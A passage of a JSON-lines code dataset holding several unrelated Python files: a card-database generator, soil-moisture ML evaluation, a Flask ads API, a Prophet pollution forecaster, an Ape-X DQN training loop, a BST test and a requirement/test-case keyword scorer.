card['flavor_text'] if 'flavor_text' in card.keys(\n ) else 'N/A'\n\n # cannot be null\n scryfall_id = card['id'] if 'id' in card.keys() else None\n language = card['lang'] if 'lang' in card.keys() else None\n rulings_uri = card['rulings_uri'] if 'rulings_uri' in card.keys(\n ) else None\n scryfall_uri = card['scryfall_uri'] if 'scryfall_uri' in card.keys(\n ) else None\n cmc = card['cmc'] if 'cmc' in card.keys() else None\n name = card['name'] if 'name' in card.keys() else None\n type_line = card['type_line'] if 'type_line' in card.keys(\n ) else None\n collector_number = card['collector_number'] if 'collector_number' in card.keys(\n ) else None\n rarity = card['rarity'] if 'rarity' in card.keys() else None\n set_name = card['set_name'] if 'set_name' in card.keys() else None\n set_code = card['set'] if 'set' in card.keys() else None\n\n if (scryfall_id is None or language is None or rulings_uri is None or scryfall_uri is None or cmc is None or name is None or type_line is None or collector_number is None or rarity is None or set_name is None or set_code is None):\n continue\n\n image = image_from_uri(image_uri)\n\n p_hash = imagehash.phash(image, 16)\n p_hash_int = int(str(p_hash), 16)\n\n db_cursor.execute('INSERT INTO cards (scryfall_id, language, tcgplayer_id, tcgplayer_etched_id, cardmarket_id, rulings_uri, scryfall_uri, cmc, mana_cost, name, oracle_text, power, toughness, type_line, artist, collector_number, flavor_name, flavor_text, rarity, set_name, set_code, perceptual_hash, image_uri, perceptual_hash_int) VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)',\n (scryfall_id, language, tcgplayer_id, tcgplayer_etched_id, cardmarket_id, rulings_uri, scryfall_uri, cmc, mana_cost, name, oracle_text, power, toughness, type_line, artist, collector_number, flavor_name, flavor_text, rarity, set_name, set_code, str(p_hash), image_uri, p_hash_int))\n\n db_connection.commit()\n\n except:\n print('Error on card ' + str(i) + ' of ' + str(len(bulk_data)))\n print('Card: ' + card['name'])\n pass\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"AndrewVota/scryingglass-api","sub_path":"Utilities/GenerateDatabase.py","file_name":"GenerateDatabase.py","file_ext":"py","file_size_in_byte":5352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"31531338844","text":"# Author: Hanzi Mao <hannamao15@gmail.com>\n#\n# License: BSD 3 clause\n\nfrom .random_forest_model import RandomForestModel\nfrom .gradient_boosting_model import GradientBoostingModel\nfrom .xgboost_model import XGBoostModel\nfrom ..utils import find_index, Logger\n\nimport os\nimport sys\nimport pandas as pd\nimport numpy as np\nimport numpy.ma as ma\nimport csv\nfrom netCDF4 import Dataset\nfrom math import sqrt\nfrom collections import defaultdict\nfrom operator import and_\nfrom sklearn.metrics import r2_score, mean_squared_error\nfrom scipy.stats.stats import pearsonr\nimport copy\n\n\nclass ApplyML(object):\n def __init__(self, in_path, f_name, y_name, key_x_name, model, out_path, seeds, predict_diff,\n selected_features=None, verbose=True, log=True):\n self.in_path = in_path\n self.out_path = out_path\n self.f_name = f_name\n\n self.log = log\n if self.log:\n log_file = os.path.join(self.out_path, \"_\".join([self.f_name, model]) + '.txt')\n sys.stdout = Logger(log_file)\n\n train_file = self.f_name + '_train.csv'\n test_file = self.f_name + '_test.csv'\n\n df_train = pd.read_csv(os.path.join(in_path, train_file))\n df_test = pd.read_csv(os.path.join(in_path, test_file))\n\n self.model = model\n self.X_dim_train = np.array(df_train[[\"lat\", \"lon\"]])\n self.X_dim_test = np.array(df_test[[\"lat\", \"lon\"]])\n self.key_x_train = np.array(df_train[key_x_name])\n self.key_x_test = np.array(df_test[key_x_name])\n\n self.predict_diff = predict_diff\n if not self.predict_diff:\n self.y_train = np.array(df_train.pop(y_name))\n self.y_test = np.array(df_test.pop(y_name))\n\n else:\n self.y_train = np.array(df_train.pop(y_name)) - self.key_x_train\n self.y_test = np.array(df_test.pop(y_name)) - self.key_x_test\n\n features = copy.deepcopy(selected_features)\n if \"landcover_class\" in features:\n features += [x for x in df_train.columns.values if \"lc\" in x and x != \"landcover_class\"]\n features.remove(\"landcover_class\")\n\n if self.predict_diff:\n features.remove(key_x_name)\n self.X_train = np.array(df_train[features])\n self.X_test = np.array(df_test[features])\n self.feature_names = features\n self.y_name = y_name\n self.key_x_name = key_x_name\n self.n_tuple = self.X_train.shape[0] + self.X_test.shape[0]\n self.n_test_tuple = self.X_test.shape[0]\n self.seeds = seeds\n self.verbose = verbose\n self.res = dict()\n self.train_predict = None\n self.test_predict = None\n\n if self.verbose:\n print(\"File name:\", in_path, f_name, \", target variable\", y_name + \",\", len(self.feature_names), \\\n \"Selected features:\", self.feature_names, \"key_x:\", key_x_name)\n print(\"Machine Learning model:\", self.model)\n print(\"Number of tuples:\", self.n_tuple)\n print(\"Number of test tuples:\", self.n_test_tuple)\n print(\"Before applying ML: \")\n\n self.res[\"File\"] = self.f_name\n self.res[\"Number_train\"] = self.n_tuple - self.n_test_tuple\n self.res[\"Number_test\"] = self.n_test_tuple\n if not self.predict_diff:\n self.res[\"R2_train_before\"] = r2_score(self.y_train, self.key_x_train)\n self.res[\"Corr_train_before\"] = pearsonr(self.y_train, self.key_x_train)[0]\n self.res[\"RMSE_train_before\"] = sqrt(mean_squared_error(self.y_train, self.key_x_train))\n self.res[\"ubRMSE_train_before\"] = np.sqrt(np.mean(((self.key_x_train - np.mean(self.key_x_train))\n - (self.y_train - np.mean(self.y_train))) ** 2))\n self.res[\"Bias_train_before\"] = self.key_x_train.mean() - self.y_train.mean()\n\n self.res[\"R2_test_before\"] = r2_score(self.y_test, self.key_x_test)\n self.res[\"Corr_test_before\"] = pearsonr(self.y_test, self.key_x_test)[0]\n self.res[\"RMSE_test_before\"] = sqrt(mean_squared_error(self.y_test, self.key_x_test))\n self.res[\"ubRMSE_test_before\"] = np.sqrt(np.mean(((self.key_x_test - np.mean(self.key_x_test))\n - (self.y_test - np.mean(self.y_test))) ** 2))\n self.res[\"Bias_test_before\"] = self.key_x_test.mean() - self.y_test.mean()\n else:\n self.res[\"R2_train_before\"] = r2_score(self.y_train + self.key_x_train, self.key_x_train)\n self.res[\"Corr_train_before\"] = pearsonr(self.y_train + self.key_x_train, self.key_x_train)[0]\n y_train_sum = self.y_train + self.key_x_train\n self.res[\"RMSE_train_before\"] = sqrt(mean_squared_error(y_train_sum, self.key_x_train))\n self.res[\"ubRMSE_train_before\"] = np.sqrt(np.mean(((self.key_x_train - np.mean(self.key_x_train))\n - (y_train_sum - np.mean(y_train_sum))) ** 2))\n self.res[\"Bias_train_before\"] = -self.y_train.mean()\n\n self.res[\"R2_test_before\"] = r2_score(self.y_test + self.key_x_test, self.key_x_test)\n self.res[\"Corr_test_before\"] = pearsonr(self.y_test + self.key_x_test, self.key_x_test)[0]\n y_test_sum = self.y_test + self.key_x_test\n self.res[\"RMSE_test_before\"] = sqrt(mean_squared_error(y_test_sum, self.key_x_test))\n self.res[\"ubRMSE_test_before\"] = np.sqrt(np.mean(((self.key_x_test - np.mean(self.key_x_test))\n - (y_test_sum - np.mean(y_test_sum))) ** 2))\n self.res[\"Bias_test_before\"] = -self.y_test.mean()\n\n print(\"R2 for train dataset:\", self.res[\"R2_train_before\"])\n print(\"R2 for test dataset:\", self.res[\"R2_test_before\"])\n print(\"Corr for train dataset:\", self.res[\"Corr_train_before\"])\n print(\"Corr for test dataset\", self.res[\"Corr_test_before\"])\n print(\"RMSE for train dataset:\", self.res[\"RMSE_train_before\"])\n print(\"RMSE for test dataset:\", self.res[\"RMSE_test_before\"])\n print(\"ubRMSE for train dataset:\", self.res[\"ubRMSE_train_before\"])\n print(\"ubRMSE for test dataset:\", self.res[\"ubRMSE_test_before\"])\n print(\"Bias for train dataset:\", self.res[\"Bias_train_before\"])\n print(\"Bias for test dataset:\", self.res[\"Bias_test_before\"])\n\n def clean_up(self):\n if self.log:\n sys.stdout.close()\n sys.stdout = sys.__stdout__\n\n def apply(self, cv_type=None, search_type=None, scorer=None, param_dist=None):\n model = self.model\n statistics = defaultdict(list)\n predict = {}\n\n for seed_index in range(len(self.seeds)):\n print(\"=========\" + \"ITERATION \" + str(seed_index) + \"=====================================================\")\n\n ml_model = globals()[model](X_train=self.X_train,\n y_train=self.y_train,\n X_test=self.X_test,\n y_test=self.y_test,\n seed=self.seeds[seed_index],\n param_dist=param_dist)\n train_predict, test_predict = ml_model.apply_model(feature_names=self.feature_names,\n cv_type=cv_type,\n search_type=search_type,\n scorer=scorer)\n if self.predict_diff:\n train_predict += self.key_x_train\n test_predict += self.key_x_test\n y_train_sum = self.y_train + self.key_x_train\n y_test_sum = self.y_test + self.key_x_test\n else:\n y_train_sum = self.y_train\n y_test_sum = self.y_test\n\n r2_train = r2_score(y_train_sum, train_predict)\n corr_train = pearsonr(y_train_sum.ravel(), train_predict.ravel())[0]\n rmse_train = sqrt(mean_squared_error(y_train_sum, train_predict))\n ubrmse_train = np.sqrt(np.mean(((train_predict - np.mean(train_predict))\n - (y_train_sum - np.mean(y_train_sum))) ** 2))\n bias_train = train_predict.mean() - y_train_sum.mean()\n r2_test = r2_score(y_test_sum, test_predict)\n corr_test = pearsonr(y_test_sum.ravel(), test_predict.ravel())[0]\n rmse_test = sqrt(mean_squared_error(y_test_sum, test_predict))\n ubrmse_test = np.sqrt(np.mean(((test_predict - np.mean(test_predict))\n - (self.y_test - np.mean(self.y_test))) ** 2))\n bias_test = test_predict.mean() - self.y_test.mean()\n predict[corr_test] = {\"train_predict\": train_predict, \"test_predict\": test_predict}\n\n statistics[\"train_r2\"].append(r2_train)\n statistics[\"train_corr\"].append(corr_train)\n statistics[\"train_rmse\"].append(rmse_train)\n statistics[\"train_ubrmse\"].append(ubrmse_train)\n statistics[\"train_bias\"].append(bias_train)\n\n statistics[\"test_r2\"].append(r2_test)\n statistics[\"test_corr\"].append(corr_test)\n statistics[\"test_rmse\"].append(rmse_test)\n statistics[\"test_ubrmse\"].append(ubrmse_test)\n statistics[\"test_bias\"].append(bias_test)\n\n if self.predict_diff:\n self.y_train += self.key_x_train\n self.y_test += self.key_x_test\n print(\"Max corr_test:\", max(predict.keys()))\n best_predict = predict[max(predict.keys())]\n self.train_predict = best_predict[\"train_predict\"]\n self.test_predict = best_predict[\"test_predict\"]\n\n self.res[\"R2_train\"] = sum(statistics[\"train_r2\"]) / len(statistics[\"train_r2\"])\n self.res[\"Corr_train\"] = sum(statistics[\"train_corr\"]) / len(statistics[\"train_corr\"])\n self.res[\"RMSE_train\"] = sum(statistics[\"train_rmse\"]) / len(statistics[\"train_rmse\"])\n self.res[\"ubRMSE_train\"] = sum(statistics[\"train_ubrmse\"]) / len(statistics[\"train_ubrmse\"])\n self.res[\"Bias_train\"] = sum(statistics[\"train_bias\"]) / len(statistics[\"train_bias\"])\n\n self.res[\"R2_test\"] = sum(statistics[\"test_r2\"]) / len(statistics[\"test_r2\"])\n self.res[\"Corr_test\"] = sum(statistics[\"test_corr\"]) / len(statistics[\"test_corr\"])\n self.res[\"RMSE_test\"] = sum(statistics[\"test_rmse\"]) / len(statistics[\"test_rmse\"])\n self.res[\"ubRMSE_test\"] = sum(statistics[\"test_ubrmse\"]) / len(statistics[\"test_ubrmse\"])\n self.res[\"Bias_test\"] = sum(statistics[\"test_bias\"]) / len(statistics[\"test_bias\"])\n\n print(\"=========SUMMARY===============================================================\")\n print(\"Mean of R2 from test sets:\", self.res[\"R2_test\"])\n print(\"Mean of Corr from test sets:\", self.res[\"Corr_test\"])\n print(\"Mean of RMSE from test sets:\", self.res[\"RMSE_test\"])\n print(\"Mean of ubRMSE from test sets:\", self.res[\"ubRMSE_test\"])\n print(\"Mean of Bias from test sets:\", self.res[\"Bias_test\"])\n\n return self.res\n\n def out2CSV(self):\n dimension_lis = []\n dimension_lis_index = []\n for i, d in enumerate([\"lat\", \"lon\"]):\n if d not in self.feature_names:\n dimension_lis.append(d)\n dimension_lis_index.append(i)\n dimension_lis_index = tuple(dimension_lis_index)\n\n with open(os.path.join(self.out_path, self.f_name + '_prediction_test.csv'), \"w\") as csvfile:\n c = csv.writer(csvfile, delimiter=',')\n csv_header = [self.y_name, self.y_name + '_pred'] + self.feature_names + dimension_lis\n c.writerow(csv_header)\n var_matrix = np.c_[self.y_test, self.test_predict, self.X_test, self.X_dim_test[:, dimension_lis_index]]\n for row in var_matrix:\n c.writerow(row)\n\n with open(os.path.join(self.out_path, self.f_name + '_prediction_train.csv'), \"w\") as csvfile:\n c = csv.writer(csvfile, delimiter=',')\n csv_header = [self.y_name, self.y_name + '_pred'] + self.feature_names + dimension_lis\n c.writerow(csv_header)\n var_matrix = np.c_[self.y_train, self.train_predict, self.X_train, self.X_dim_train[:, dimension_lis_index]]\n for row in var_matrix:\n c.writerow(row)\n\n with open(os.path.join(self.out_path, self.f_name + '_prediction.csv'), \"w\") as csvfile:\n c = csv.writer(csvfile, delimiter=',')\n csv_header = [self.y_name, self.y_name + '_pred'] + self.feature_names + dimension_lis\n c.writerow(csv_header)\n var_matrix = np.c_[self.y_test, self.test_predict, self.X_test, self.X_dim_test[:, dimension_lis_index]]\n for row in var_matrix:\n c.writerow(row)\n var_matrix = np.c_[self.y_train, self.train_predict, self.X_train, self.X_dim_train[:, dimension_lis_index]]\n for row in var_matrix:\n c.writerow(row)\n\n def out2NC(self):\n y_name = self.y_name\n key_x_name = self.key_x_name\n\n fh_ref_train = Dataset(os.path.join(self.in_path, self.f_name + '_train.nc'), 'r')\n fh_ref_test = Dataset(os.path.join(self.in_path, self.f_name + '_test.nc'), 'r')\n fh_dic = {}\n fh_dic[\"predict\"] = Dataset(os.path.join(self.out_path, self.f_name + '_prediction.nc'), 'w')\n fh_dic[\"train\"] = Dataset(os.path.join(self.out_path, self.f_name + '_prediction_train.nc'), 'w')\n fh_dic[\"test\"] = Dataset(os.path.join(self.out_path, self.f_name + '_prediction_test.nc'), \"w\")\n\n for name, dim in fh_ref_train.dimensions.items():\n for fh in fh_dic.values():\n fh.createDimension(name, len(dim))\n\n for v_name, varin in fh_ref_train.variables.items():\n if v_name in ['lat', 'lon']:\n for fh in fh_dic.values():\n outVar = fh.createVariable(v_name, varin.datatype, varin.dimensions)\n outVar.setncatts({k: varin.getncattr(k) for k in varin.ncattrs()})\n outVar[:] = varin[:]\n if v_name == y_name:\n for fh in fh_dic.values():\n outVar = fh.createVariable(v_name + '_predicted', varin.datatype, varin.dimensions)\n outVar.setncatts({k: varin.getncattr(k) for k in varin.ncattrs()})\n outVar = fh.createVariable(v_name, varin.datatype, varin.dimensions)\n outVar.setncatts({k: varin.getncattr(k) for k in varin.ncattrs()})\n y_train = fh_ref_train.variables[y_name][:]\n y_test = fh_ref_test.variables[y_name][:]\n outVar[:] = ma.array(y_train.filled(0) + y_test.filled(0),\n mask=ma.array([*map(and_, y_train.mask, y_test.mask)]))\n if v_name == key_x_name:\n for fh in fh_dic.values():\n outVar = fh.createVariable(v_name, varin.datatype, varin.dimensions)\n outVar.setncatts({k: varin.getncattr(k) for k in varin.ncattrs()})\n key_x_train = fh_ref_train.variables[key_x_name][:]\n key_x_test = fh_ref_test.variables[key_x_name][:]\n outVar[:] = ma.array(key_x_train.filled(0) + key_x_test.filled(0),\n mask=ma.array([*map(and_, key_x_train.mask, key_x_test.mask)]))\n\n lat = fh_ref_train.variables['lat'][:]\n lon = fh_ref_test.variables['lon'][:]\n\n for idx, smap_value in enumerate(self.train_predict):\n lat_index = find_index(lat, self.X_dim_train[idx, 0])\n lon_index = find_index(lon, self.X_dim_train[idx, 1])\n fh_dic[\"predict\"].variables[y_name + '_predicted'][lat_index, lon_index] = smap_value\n fh_dic[\"train\"].variables[y_name + '_predicted'][lat_index, lon_index] = smap_value\n for idx, smap_value in enumerate(self.test_predict):\n lat_index = find_index(lat, self.X_dim_test[idx, 0])\n lon_index = find_index(lon, self.X_dim_test[idx, 1])\n fh_dic[\"predict\"].variables[y_name + '_predicted'][lat_index, lon_index] = smap_value\n fh_dic[\"test\"].variables[y_name + '_predicted'][lat_index, lon_index] = smap_value\n\n for fh in fh_dic.values():\n ma_predic = ma.getmaskarray(fh.variables[y_name + '_predicted'][:])\n fh.variables[y_name][:] = ma.array(fh.variables[y_name][:], mask=ma_predic)\n fh.variables[key_x_name][:] = ma.array(fh.variables[key_x_name][:], mask=ma_predic)\n\n fh_ref_train.close()\n fh_ref_test.close()\n fh_dic[\"predict\"].close()\n fh_dic[\"train\"].close()\n fh_dic[\"test\"].close()\n","repo_name":"HannaMao/Gap-Filling-of-Soil-Moisture","sub_path":"soil_moisture_downscaling/machine_learning/apply.py","file_name":"apply.py","file_ext":"py","file_size_in_byte":17146,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"37"} +{"seq_id":"2621723304","text":"from flask import Blueprint, request, jsonify, abort, g\nfrom pony.orm import db_session\nfrom marshmallow import ValidationError\nfrom app import db\nfrom models.Ad import Ad, AdSchema\nfrom lib.secure_route import secure_route\n\n\nrouter = Blueprint(__name__, 'ads') # creates a router for this controller\n\n@router.route('/ads', methods=['GET'])\n@db_session # Allows access to the database in the `index` function\ndef index():\n # This will serialize our data\n # `many=True` because there are many ads, ie we expect a list\n schema = AdSchema(many=True)\n ads = Ad.select() # get all the ads\n return schema.dumps(ads) # `schema.dumps` converts the list to JSON\n\n\n@router.route('/ads', methods=['POST'])\n@db_session\n@secure_route\ndef create():\n # This will deserialize the JSON from insomnia\n schema = AdSchema()\n\n try:\n # attempt to convert the JSON into a dict\n data = schema.load(request.get_json())\n # Use that to create a ad object\n ad = Ad(**data, createdBy=g.current_user)\n # store it in the database\n db.commit()\n except ValidationError as err:\n # if the validation fails, send back a 422 response\n return jsonify({'message': 'Validation failed', 'errors': err.messages}), 422\n\n # otherwise, send back the ad data as JSON\n return schema.dumps(ad), 201\n\n\n@router.route('/ads/<int:ad_id>', methods=['GET'])\n@db_session\ndef show(ad_id):\n # This will serialize our data\n schema = AdSchema()\n # This gets a ad by ID\n ad = Ad.get(id=ad_id)\n\n # If we can't find a ad, send a 404 response\n if not ad:\n abort(404)\n\n # otherwise, send back the ad data as JSON\n return schema.dumps(ad)\n\n\n@router.route('/ads/<int:ad_id>', methods=['PUT'])\n@db_session\n@secure_route\ndef update(ad_id):\n schema = AdSchema()\n ad = Ad.get(id=ad_id)\n\n if not ad:\n abort(404)\n\n try:\n data = schema.load(request.get_json())\n ad.set(**data)\n db.commit()\n except ValidationError as err:\n return jsonify({'message': 'Validation failed', 'errors': err.messages}), 422\n\n return schema.dumps(ad)\n\n\n@router.route('/ads/<int:ad_id>', methods=['DELETE'])\n@db_session\n@secure_route\ndef delete(ad_id):\n ad = Ad.get(id=ad_id)\n\n if not ad:\n abort(404)\n\n ad.delete()\n db.commit()\n\n return '', 204\n","repo_name":"tomjhinton/sei-project-04","sub_path":"controllers/ads.py","file_name":"ads.py","file_ext":"py","file_size_in_byte":2342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70673154027","text":"from prophet import Prophet\r\nfrom prophet.diagnostics import performance_metrics\r\nfrom prophet.diagnostics import cross_validation\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.metrics import r2_score, mean_squared_error, mean_absolute_error\r\nimport matplotlib.pyplot as plt\r\n\r\ndf_new = pd.DataFrame(columns = ['ds', 'y'])#Define data frame for required prophet format\r\ndata = []\r\nds = []\r\n\r\n#----------------------------------------Read Data in----------------------------------------\r\ndf = pd.read_csv(\"Processed.csv\",usecols=[2])#Change column number to chnage pollutant being read in\r\ndf1 = pd.read_csv(\"Processed.csv\",usecols=[22])#Date column\r\ndf1 = df1.join(df)#Combine\r\n\r\n#--------------------------------------------pre-processing-----------------------------------\r\n#Get mean pollution level for each date\r\ndata = df1.groupby(\"Date\")['PM2.5'].mean()\r\nfor i in range(len(df1)):\r\n if df1['Date'][i] not in ds:\r\n ds.append(df1['Date'][i])\r\n else:\r\n pass\r\n#Sort\r\nds.sort()\r\n\r\n#Add pollution level to corresponding date\r\nfor i in range(len(ds)):\r\n temp = {'ds': ds[i], 'y':data[i]}\r\n df_new = df_new.append(temp, ignore_index=True)\r\n\r\n#df_new = df_new.sort_values('ds')\r\n\r\n#--------------------------------------------Model--------------------------------------------\r\n#X, y = train_test_split(df_new, test_size=0.3) #Split data test trian 30 70\r\n#Not wosing test train slpit as the data has to be in order for time seires prediction\r\n#Still split 70 30 %, worked out by geeting the lengths of x and y\r\nX = df_new.iloc[:-572]\r\ny = df_new.iloc[1333:]\r\nprint(len(y))\r\n\r\n#Build Prophet model\r\nmodel = Prophet()\r\nmodel.fit(X)#Pollutant data\r\npredict = model.predict(y) #Prediction - outputted as a df\r\ndf_cv = cross_validation(model, initial='1275 days', period='31 days', horizon = '5 days')\r\nprint(df_cv[['ds', 'yhat', 'yhat_lower', 'yhat_upper']].head())#Get only accuracy for each predicition\r\ndf_p = performance_metrics(df_cv)\r\nprint(df_p)\r\n\r\n#plot predicition\r\nmodel.plot(df_cv, uncertainty=True)\r\nplt.title(\" SO2 μg/m3\")\r\nplt.xlabel(\"Date\")\r\nplt.ylabel(\"Value\")\r\nplt.legend()\r\nplt.show()\r\n\r\nmodel.plot(predict, uncertainty=True)\r\nplt.title(\" PM2.5 μg/m3\")\r\nplt.xlabel(\"Date\")\r\nplt.ylabel(\"Value\")\r\nplt.legend()\r\nplt.show()\r\n\r\n\"\"\"\r\n#overall accuray\r\ny_true = y['y'].values\r\ny_pred = df_cv['yhat'].values\r\nprint('R2: ',r2_score(y_true, y_pred))\r\nprint('MSE: ', mean_squared_error(y_true, y_pred))\r\nprint('RMSE: ', np.sqrt(mean_squared_error(y_true, y_pred)))\r\nprint('MAE: ', mean_absolute_error(y_true, y_pred))\r\n\"\"\"","repo_name":"j4ck23/Master_Project","sub_path":"FinishedProject/PFM-Daily.py","file_name":"PFM-Daily.py","file_ext":"py","file_size_in_byte":2613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35719184712","text":"from time import sleep\nfrom datetime import datetime\nimport os\nimport torch\nfrom copy import deepcopy\nimport ray\nfrom shutil import copyfile\n\nfrom actor import Actor\nfrom learner import Learner\nfrom myutils import *\n\n\nray.init()\nif __name__ == \"__main__\":\n \n # read config \n config = \"config.yml\"\n config_path = None\n if isinstance(config, str):\n config_path = config\n config = read_config(config)\n elif not isinstance(config, dict):\n raise ValueError(\"Config should be either string or dict\")\n \n # Environment info\n network_type = config['network_type']\n env_id = config['env']\n random_seed = config['random_seed']\n obs_dim = config['obs_dim']\n action_dim = config['action_dim']\n\n # Training parameters \n n_agents = config['num_agents']\n unroll_cnt = config['unroll_steps']\n num_train_steps = config['num_train_steps']\n\n # Buffer\n use_per = config['use_per']\n priority_alpha = config['priority_alpha']\n priority_beta_start = config['priority_beta_start']\n priority_beta_end = config['priority_beta_end']\n priority_beta = priority_beta_start\n priority_beta_increment = ((priority_beta_end - priority_beta_start)\n / num_train_steps)\n batch_size = config['batch_size']\n buffer_max_size = config['buffer_max_size']\n\n # Create directory for experiment\n timenow = datetime.now().strftime('%Y-%m-%d-%H:%M:%S')\n experiment_dir = \"{0}/{1}-{2}-{3}\".format(\n config['results_path'],\n config['env'],\n config['model'],\n timenow \n )\n if not os.path.exists(experiment_dir):\n os.makedirs(experiment_dir)\n if config_path is not None:\n copyfile(config_path, \"{0}/config.yml\".format(experiment_dir))\n\n #############\n #### RUN ####\n #############\n\n # parameter server\n # parameter server\n param_server = ParameterServer.remote() \n \n # buffer\n if use_per:\n buffer = PrioritizedReplayBuffer.remote(\n size=buffer_max_size,\n alpha=priority_alpha)\n\n else:\n buffer = Buffer.remote(max_size=buffer_max_size)\n\n # learner:\n learner = Learner.remote(config, experiment_dir)\n param_list = ray.get(learner.return_param_list.remote())\n param_server.define_param_list.remote(param_list)\n\n # actors \n actors = [Actor.remote(i, config, experiment_dir)\n for i in range(n_agents)]\n \n # fill up the actor buffers, then add them to global buffer\n _, _ = ray.wait([actor.start.remote() for actor in actors],\n num_returns=n_agents)\n \n for actor in actors:\n buffer.incorporate_buffer.remote(\n ray.get(actor.return_buffer.remote()))\n \n sleep(3)\n \n print('Initial buffer filled')\n print(\"Run\")\n \n actor_buffers = {}\n for actor in actors:\n actor_buffers[actor.fill_buffer.remote()] = actor\n\n update_step = ray.get(param_server.get_update_step.remote())\n\n while update_step < num_train_steps:\n # gather actor experience to centralized buffer\n ready_actor_list, _ = ray.wait(list(actor_buffers))\n ready_actor_id = ready_actor_list[0]\n actor = actor_buffers.pop(ready_actor_id)\n buffer.incorporate_buffer.remote(\n ray.get(actor.return_buffer.remote())\n )\n\n # learner step\n batch, indices, weights = ray.get(\n buffer.sample.remote(batch_size, priority_beta)\n )\n step_info, indices, new_priorities = ray.get(\n learner.learning_step.remote(batch, indices, weights)\n )\n learner.logger.remote(step_info)\n if use_per:\n buffer.update_priorities.remote(indices, new_priorities)\n priority_beta += priority_beta_increment\n \n # sync learner policy with global\n learner_params = ray.get(\n learner.return_numpy_policy.remote()\n )\n param_server.update_params.remote(learner_params)\n\n # sync actor policy with global policy\n actor.set_params.remote(\n ray.get(param_server.return_params.remote())\n )\n actor_buffers[actor.fill_buffer.remote()] = actor\n update_step = ray.get(\n param_server.get_update_step.remote()\n )\n \n # save data and end\n actors.append(learner)\n ray.wait([process.final_save.remote()\n for process in actors], num_returns=n_agents+1)\n\n ray.timeline()\n\n print(\"End\")","repo_name":"Allensmile/Distributed-Reinforcement-Learning","sub_path":"Apex-DQN/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":4490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"} +{"seq_id":"7800218188","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Feb 24 15:13:57 2016\n\n@author: dflemin3\n\"\"\"\n\nimport bst\nimport numpy as np\n\nnums = np.random.randint(low=0,high=999,size=100)\n\nbtree = bst.BinarySearchTree()\n\n# Insert 100 random ints into bst\nfor i in range(0,len(nums)):\n btree.insert(nums[i])\n \n# Traverse bst\nbtree.traverse()","repo_name":"dflemin3/ASTR_598","sub_path":"hw7/bst_test.py","file_name":"bst_test.py","file_ext":"py","file_size_in_byte":327,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"19028627890","text":"import nltk\r\nfrom nltk.corpus import brown\r\n\r\n\r\nclass ReqTCScore:\r\n def __init__(self):\r\n self.brown_train = brown.tagged_sents(categories='news')\r\n self.regexp_tagger = nltk.RegexpTagger(\r\n [(r'^-?[0-9]+(.[0-9]+)?$', 'CD'),\r\n (r'(-|:|;)$', ':'),\r\n (r'\\'*$', 'MD'),\r\n (r'(The|the|A|a|An|an)$', 'AT'),\r\n (r'.*able$', 'JJ'),\r\n (r'^[A-Z].*$', 'NNP'),\r\n (r'.*ness$', 'NN'),\r\n (r'.*ly$', 'RB'),\r\n (r'.*s$', 'NNS'),\r\n (r'.*ing$', 'VBG'),\r\n (r'.*ed$', 'VBD'),\r\n (r'.*', 'NN')\r\n ])\r\n self.unigram_tagger = nltk.UnigramTagger(self.brown_train, backoff=self.regexp_tagger)\r\n self.bigram_tagger = nltk.BigramTagger(self.brown_train, backoff=self.unigram_tagger)\r\n\r\n self.cfg = {}\r\n self.cfg[\"NNP+NNP\"] = \"NNP\"\r\n self.cfg[\"NN+NN\"] = \"NNI\"\r\n self.cfg[\"NNI+NN\"] = \"NNI\"\r\n self.cfg[\"JJ+JJ\"] = \"JJ\"\r\n self.cfg[\"JJ+NN\"] = \"NNI\"\r\n\r\n def tokenize_sentence(self, sentence):\r\n tokens = nltk.word_tokenize(sentence)\r\n return tokens\r\n\r\n def normalize_tags(self, tagged):\r\n n_tagged = []\r\n for t in tagged:\r\n if t[1] == \"NP-TL\" or t[1] == \"NP\":\r\n n_tagged.append((t[0], \"NNP\"))\r\n continue\r\n if t[1].endswith(\"-TL\"):\r\n n_tagged.append((t[0], t[1][:-3]))\r\n continue\r\n if t[1].endswith(\"S\"):\r\n n_tagged.append((t[0], t[1][:-1]))\r\n continue\r\n n_tagged.append((t[0], t[1]))\r\n return n_tagged\r\n\r\n def extract(self, text):\r\n\r\n tokens = self.tokenize_sentence(text)\r\n tags = self.normalize_tags(self.bigram_tagger.tag(tokens))\r\n\r\n merge = True\r\n while merge:\r\n merge = False\r\n for x in range(0, len(tags) - 1):\r\n t1 = tags[x]\r\n t2 = tags[x + 1]\r\n key = \"%s+%s\" % (t1[1], t2[1])\r\n value = self.cfg.get(key, '')\r\n if value:\r\n merge = True\r\n tags.pop(x)\r\n tags.pop(x)\r\n match = \"%s %s\" % (t1[0], t2[0])\r\n pos = value\r\n tags.insert(x, (match, pos))\r\n break\r\n\r\n matches = []\r\n for t in tags:\r\n if t[1] == \"NNP\" or t[1] == \"NNI\":\r\n # if t[1] == \"NNP\" or t[1] == \"NNI\" or t[1] == \"NN\":\r\n matches.append(t[0])\r\n return matches\r\n\r\n def score(self, req, tc):\r\n req_ext = set(self.extract(req))\r\n tc_ext = set(self.extract(tc))\r\n return len(req_ext.intersection(tc_ext)) / len(req_ext)\r\n\r\n def dist_score(self, reqs, tc, sort=True):\r\n distribution = [list(enumerate(self.score(req, tc) for tc in tc)) for req in reqs]\r\n return list(enumerate(distribution))\r\n\r\n # def dist_score_sorted(self, reqs, tc, top=5):\r\n # distribution = list(enumerate(self.score(req, tc) for tc in tc) for req in reqs)\r\n # return list(enumerate(distribution))\r\n\r\n # def dist_score_sort(self, reqs, tc, sort=True):\r\n # distribution = [list(enumerate(self.score(req, tc) for tc in tc)) for req in reqs]\r\n # if(sort):\r\n # dist_sort = [sorted(d[1], key=lambda tup: tup[1]) 